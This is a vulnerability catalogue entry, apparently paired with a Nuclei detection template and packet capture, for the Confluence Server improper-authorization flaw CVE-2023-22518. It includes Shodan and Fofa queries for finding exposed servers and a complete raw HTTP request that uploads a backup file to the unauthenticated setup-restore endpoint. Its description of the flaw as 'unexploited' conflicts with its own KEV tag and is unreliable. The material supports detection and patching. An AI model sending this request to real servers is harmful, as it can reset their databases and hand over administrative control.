| Title | Atlassian Confluence Server - Improper Authorization |
|---|---|
| Author | iamnoooob,rootxharsh,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit improper authorization to upload malicious backup files through the setup-restore endpoint, potentially resetting the database and gaining administrative access to Confluence Server data. |
| Remediation | Update Atlassian Confluence Data Center and Server to a patched version that properly authorizes access to the setup-restore.action endpoint. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94375 |
| CVE ID | CVE-2023-22518 |
| CWE ID | CWE-863 |
| Shodan Query | http.component:"Atlassian Confluence"http.component:"atlassian confluence" |
| Fofa Query | app="atlassian-confluence" |
| Tags | cve cve2023 atlassian confluence rce unauth intrusive kev vkev vuln |
All versions of Confluence Data Center and Server are affected by this unexploited vulnerability. There is no impact to confidentiality as an attacker cannot exfiltrate any instance data. Atlassian Cloud sites are not affected by this vulnerability. If your Confluence site is accessed via an atlassian.net domain, it is hosted by Atlassian and is not vulnerable to this issue.
POST /json/setup-restore.action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Content-Length: 415
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7
X-Atlassian-Token: no-check
Accept-Encoding: gzip
------WebKitFormBoundaryT3yekvo0rGaL9QR7
Content-Disposition: form-data; name="buildIndex"
false
------WebKitFormBoundaryT3yekvo0rGaL9QR7
Content-Disposition: form-data; name="file";filename="38EtrVFIVax1InXYhqBxz3sQ6g9.zip"
38EtrVFIVax1InXYhqBxz3sQ6g9
------WebKitFormBoundaryT3yekvo0rGaL9QR7
Content-Disposition: form-data; name="edit"
Upload and import
------WebKitFormBoundaryT3yekvo0rGaL9QR7--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-22518.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-22518.pcap
N/AN/A